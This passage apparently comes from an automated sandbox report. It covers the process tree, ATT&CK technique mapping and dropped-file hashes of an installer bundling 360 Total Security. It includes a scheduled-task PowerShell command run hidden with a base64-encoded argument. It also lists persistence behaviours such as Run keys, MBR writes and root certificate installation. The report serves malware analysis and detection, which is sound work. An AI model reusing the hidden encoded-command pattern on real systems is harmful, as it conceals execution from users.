                                                                                                                                                                                                      PID:4016
                                                                                                                                                                                                • C:\Windows\system32\taskeng.exe
                                                                                                                                                                                                  taskeng.exe {41D1743F-5716-428C-AEF4-3A24038243DE} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:1736
                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:1144
                                                                                                                                                                                                      • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1364
                                                                                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2808
                                                                                                                                                                                                      • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                        • Sets service image path in registry
                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                                        • Maps connected drives based on registry
                                                                                                                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                        PID:5812
                                                                                                                                                                                                        • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                                                                                                                                          /showtrayicon
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Sets service image path in registry
                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                                                          • Maps connected drives based on registry
                                                                                                                                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                          PID:3024
                                                                                                                                                                                                          • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            PID:2840
                                                                                                                                                                                                          • C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                            PID:2616
                                                                                                                                                                                                          • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                                            C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Installs/modifies Browser Helper Object
                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                            PID:1712
                                                                                                                                                                                                        • C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:4340
                                                                                                                                                                                                        • C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
                                                                                                                                                                                                          "C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                          PID:4328

                                                                                                                                                                                                      Network

                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                            Execution

                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1059

                                                                                                                                                                                                            PowerShell

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1059.001

                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1053

                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                            4
                                                                                                                                                                                                            T1547

                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                            4
                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                            Browser Extensions

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1176

                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1543

                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1546

                                                                                                                                                                                                            Change Default File Association

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1546.001

                                                                                                                                                                                                            Pre-OS Boot

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1542

                                                                                                                                                                                                            Bootkit

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1542.003

                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1053

                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                            4
                                                                                                                                                                                                            T1547

                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                            4
                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1543

                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                            Event Triggered Execution

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1546

                                                                                                                                                                                                            Change Default File Association

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1546.001

                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1053

                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1562

                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                                            8
                                                                                                                                                                                                            T1112

                                                                                                                                                                                                            Pre-OS Boot

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1542

                                                                                                                                                                                                            Bootkit

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1542.003

                                                                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1553

                                                                                                                                                                                                            Install Root Certificate

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1553.004

                                                                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1497

                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                            Unsecured Credentials

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1552

                                                                                                                                                                                                            Credentials In Files

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1552.001

                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                                            2
                                                                                                                                                                                                            T1120

                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                            8
                                                                                                                                                                                                            T1012

                                                                                                                                                                                                            Software Discovery

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1518

                                                                                                                                                                                                            Security Software Discovery

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1518.001

                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                            8
                                                                                                                                                                                                            T1082

                                                                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1497

                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                            Collection

                                                                                                                                                                                                            Data from Local System

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1005

                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                            Web Service

                                                                                                                                                                                                            1
                                                                                                                                                                                                            T1102

                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                            Impact

                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                            360Base64.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\360Base64.dll
                                                                                                                                                                                                            • Size 1.2MB
                                                                                                                                                                                                            • SHA256 80765adb886050b0f87e30fa62336985db67c09b25f4d1760194a28ff78899d7
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360NetBase.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\360NetBase.dll
                                                                                                                                                                                                            • Size 1.4MB
                                                                                                                                                                                                            • SHA256 401d8529a84f1d80a439be8cd4e869202162458e5afb5e5bac97c4859bfe8eb5
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360NetBase64.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\360NetBase64.dll
                                                                                                                                                                                                            • Size 2.2MB
                                                                                                                                                                                                            • SHA256 ab52fff1840b010a1e6be5e432c44ca0aa2857d5da3df6574fc0fbc0004edc7a
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360rcbase.dat
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\360rcbase.dat
                                                                                                                                                                                                            • Size 4KB
                                                                                                                                                                                                            • SHA256 01d6c6cdae2f16aa0f502b6c03e2db4b21b56b55599f2223e3eea2b6129ca17c
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            I18N.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\I18N.dll
                                                                                                                                                                                                            • Size 95KB
                                                                                                                                                                                                            • SHA256 239824a487ae786daadc9e556c185561378f47ec7ba6b216c17242aea3a78ff9
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            QHSafeMain.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\QHSafeMain.exe
                                                                                                                                                                                                            • Size 5.0MB
                                                                                                                                                                                                            • SHA256 9139c35f72fe7a6cc32bb40d7841301246ba6e9330990a240c1afb914bde5a7d
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            Sites64.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\Sites64.dll
                                                                                                                                                                                                            • Size 2.1MB
                                                                                                                                                                                                            • SHA256 e751410539c790554ef7e3f198689b61ed06955a608dc1fcb392bb4b7fe522c6
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            PowerSaver.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
                                                                                                                                                                                                            • Size 145KB
                                                                                                                                                                                                            • SHA256 192b065887382e2755b2223b6a956ff1670b78d561012e0b1cbf862d90b46559
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            config.ini
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\config.ini
                                                                                                                                                                                                            • Size 190B
                                                                                                                                                                                                            • SHA256 6c6630ff0be4775eac74682d1fd4a0de91fc3cf6c6fdeae1c8e9019828c542f8
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            desktopplus_theme.xml
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\config\newui\themes\default\desktopplus_theme.xml
                                                                                                                                                                                                            • Size 73KB
                                                                                                                                                                                                            • SHA256 0940f591cb25b4d8da7bb0651e66ea8ddc52810041bc91dd2da5723fc4367f38
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360FsFlt_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\360FsFlt_old.sys
                                                                                                                                                                                                            • Size 518KB
                                                                                                                                                                                                            • SHA256 4df4e20bd4062e8971d85e8145b0b91b60922ec9f007702ba2b81d08029ba8e3
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            BAPI.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPI.dll
                                                                                                                                                                                                            • Size 245KB
                                                                                                                                                                                                            • SHA256 e6243a7741708b911cc0c5233fbf1572309f372575c337116878a430740264df
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            BAPIDRV64_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV64_old.sys
                                                                                                                                                                                                            • Size 223KB
                                                                                                                                                                                                            • SHA256 6edb05bc886e30adba4164cc852eb089630d936f106a5a29f4d30727f1a6535a
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            BAPIDRV_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\BAPIDRV_old.sys
                                                                                                                                                                                                            • Size 194KB
                                                                                                                                                                                                            • SHA256 dc346a2acb7a340a3ebfec2ac684254defb66f5485726d0ef32b51a3247fab83
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            dsark64_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\dsark64_old.sys
                                                                                                                                                                                                            • Size 175KB
                                                                                                                                                                                                            • SHA256 11be27f2ba0af548e2fd5ad7baaa5ac3e10b928b0742680ab9f673d1ebf31521
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            qutmload.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\deepscan\qutmload.dll
                                                                                                                                                                                                            • Size 111KB
                                                                                                                                                                                                            • SHA256 eed8df7dc1f0e59b367cf49aa53c91f05953d0164f2d0900ab8ec738a413e5e1
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360AvFlt.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\filemon\360AvFlt.dll
                                                                                                                                                                                                            • Size 53KB
                                                                                                                                                                                                            • SHA256 5e11c25e4d6e146c5e10fcbc21b2cdb5e97ec47f25c416e5d263985f3d964172
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360AvFlt_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\filemon\360AvFlt_old.sys
                                                                                                                                                                                                            • Size 84KB
                                                                                                                                                                                                            • SHA256 3b81711731e79ea45c3545b599f3ebc21ced95f608694332892c918e6b2faa17
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360avflt64_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\filemon\360avflt64_old.sys
                                                                                                                                                                                                            • Size 98KB
                                                                                                                                                                                                            • SHA256 167b31798b2bec91bb60eb64f50300a0c5e1605203349817754c6be161a84539
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            AVLib.dat
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\filemon\AVLib.dat
                                                                                                                                                                                                            • Size 359KB
                                                                                                                                                                                                            • SHA256 2265a0b291d07eed46ff162f10dda492aa62aed8ea8b5b6146cc995e15dcbab6
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            UrlSettings.dll.locale
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\i18n\en\UrlSettings.dll.locale
                                                                                                                                                                                                            • Size 22KB
                                                                                                                                                                                                            • SHA256 063e660b1e32cbaefb8b928f1fa638853bbcb6b996bb08496fc861fc5425a840
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            i18n.ini
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\i18n\i18n.ini
                                                                                                                                                                                                            • Size 246B
                                                                                                                                                                                                            • SHA256 f421332fd132d8405cad34871425c9922e4a1b172d74f86b9e4e7ee750205919
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360AntiHacker64.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360AntiHacker64.sys
                                                                                                                                                                                                            • Size 186KB
                                                                                                                                                                                                            • SHA256 66152d1316b674a95ee0bd63844e6acb5a709a177934814aede80166bf2bc204
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360Box.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360Box.dll
                                                                                                                                                                                                            • Size 50KB
                                                                                                                                                                                                            • SHA256 1587d34c58ff2376384a0f3b279248d080724809eaf5f251cc2dda7896f04602
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360Box64_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys
                                                                                                                                                                                                            • Size 342KB
                                                                                                                                                                                                            • SHA256 23283e2c2bd6ccb04436c90037282dd103bc8add9bc62e9f5d34842e2e336b11
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360Box_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360Box_old.sys
                                                                                                                                                                                                            • Size 216KB
                                                                                                                                                                                                            • SHA256 5d90f8287ad1ccbc6e6c3c656b1a84467c50801590d8f730c10b0d106532294c
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360Camera64.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360Camera64.sys
                                                                                                                                                                                                            • Size 48KB
                                                                                                                                                                                                            • SHA256 5b64447141ffe714f04a4ae489dac020b5ca0c31011c8edcc22da8cbfe265256
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360boxmain.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360boxmain.exe
                                                                                                                                                                                                            • Size 923KB
                                                                                                                                                                                                            • SHA256 0352b4b7908255b9487e3581a521152b7a0ab62e428f13186d23bf41c3e3941f
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360hvm.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360hvm.dll
                                                                                                                                                                                                            • Size 23KB
                                                                                                                                                                                                            • SHA256 e794c636a50b5f51e0bd233c59c9144277a94792d3537460123a39c583d01421
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360hvm64_old.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\360hvm64_old.sys
                                                                                                                                                                                                            • Size 330KB
                                                                                                                                                                                                            • SHA256 3c9da5ab28427405bf1099c1e7c3e77683c658c0c7c5fc458f606f368e7c6fc6
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            DrvUtility.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\DrvUtility.dll
                                                                                                                                                                                                            • Size 171KB
                                                                                                                                                                                                            • SHA256 4f798cf1e27dd355709c4ebe11a24b17ee832b4051f8952d9ae12942e0ccc5a9
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            X64For32Lib.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\X64For32Lib.dll
                                                                                                                                                                                                            • Size 59KB
                                                                                                                                                                                                            • SHA256 3305ad2718c9bb9bd1db19cde17a184e0d7e497ff3930050c74875bc50f9690b
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            cleancfg.dat
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\cleancfg.dat
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 287a47dba7cbcb4c7688f82f17e2020280bd0ee0670abe3c91413bdd26aa9e34
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            sbmon.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\ipc\sbmon.dll
                                                                                                                                                                                                            • Size 366KB
                                                                                                                                                                                                            • SHA256 edf443a3751d042fe16b8b11b484357a1b4702310bb50fb7aba9d68725803612
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            KB931125-rootsupd.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
                                                                                                                                                                                                            • Size 448KB
                                                                                                                                                                                                            • SHA256 2bff74b83dc66fc74df2f527071c1ca80a992ba2b887f6043b09564d1b814213
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360netctrl.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\netmon\360netctrl.dll
                                                                                                                                                                                                            • Size 382KB
                                                                                                                                                                                                            • SHA256 b76103ff3d6faa46537d3db213270a086ae3b5b58fe6841b03cd5f9f73c54247
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            360netmon_x64.sys
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\netmon\netdrv\x64\360netmon_x64.sys
                                                                                                                                                                                                            • Size 85KB
                                                                                                                                                                                                            • SHA256 4f622357bb25b9d0c211fa2472b1d2abce42c2fcb763bce6cbd89f7afe42e83c
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            netmstart.dll
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\netmon\netmstart.dll
                                                                                                                                                                                                            • Size 169KB
                                                                                                                                                                                                            • SHA256 ce993f7583b1f253c6d82027b89fd867390ea1563564da75684d293539edc6a2
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            QHActiveDefense.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
                                                                                                                                                                                                            • Size 1.1MB
                                                                                                                                                                                                            • SHA256 e4c4fcf88132c1970ccb9ec8f43dc7d1ee193ad552ccdef8ab166959a25696c2
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            updatecfg.ini
                                                                                                                                                                                                            • Path C:\Program Files (x86)\360\Total Security\updatecfg.ini
                                                                                                                                                                                                            • Size 57KB
                                                                                                                                                                                                            • SHA256 3ce09a4aaa6968fbb3bb428b3f89014c35ffab203e7a09adc7bcbfd7540346fc
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            mHXbmJt.xml
                                                                                                                                                                                                            • Path C:\Program Files (x86)\ADJLsahCU\mHXbmJt.xml
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 5e21ffbb25cb7779600464aa5620fa71b371112c68a553a302dfae49151d3709
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            mpppKYY.xml
                                                                                                                                                                                                            • Path C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\mpppKYY.xml
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 4e21c4b11d27b9cd1c09d8e180efb8c14d5ddd20c49d65a6904bebacdf513a59
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            Upgrade.exe
                                                                                                                                                                                                            • Path C:\Program Files (x86)\Common Files\AV\360 Total Security\Upgrade.exe
                                                                                                                                                                                                            • Size 2.9MB
                                                                                                                                                                                                            • SHA256 a628b37df526093026862a1180484beece436b5dfba83648551fe57ce9a5dd75
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            kqDDWSJ.xml
                                                                                                                                                                                                            • Path C:\Program Files (x86)\DQANlvmTAvZU2\kqDDWSJ.xml
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 7b1e7670c66b7c337255ffc3b125ebe98595e69fb684d2bfe956981dfc95d3ae
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            UBaOJif.xml
                                                                                                                                                                                                            • Path C:\Program Files (x86)\PZjcxajBIsNTC\UBaOJif.xml
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 ad89bb79a8682fddb4e0008f3eb5cf84f557c60466c645d6fd386f1e05fb97a7
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            {85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                            • Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                            • Size 2.0MB
                                                                                                                                                                                                            • SHA256 21f65793e7767d14e7d27bdff16612b3c0eee38b54cbe766a41416c97fdff4c9
                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            UyOWHhk.xml
                                                                                                                                                                                                            • Path C:\ProgramData\VyWMmqtuSNndeGVB\UyOWHhk.xml
                                                                                                                                                                                                            • Size 2KB
                                                                                                                                                                                                            • SHA256 43055967c960b85cd4f942ee05acc286b579f1721c9a03e9c4a8ff8d56c0d2a5
                                                                                                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                            94308059B57B3142E455B38A6EB92015
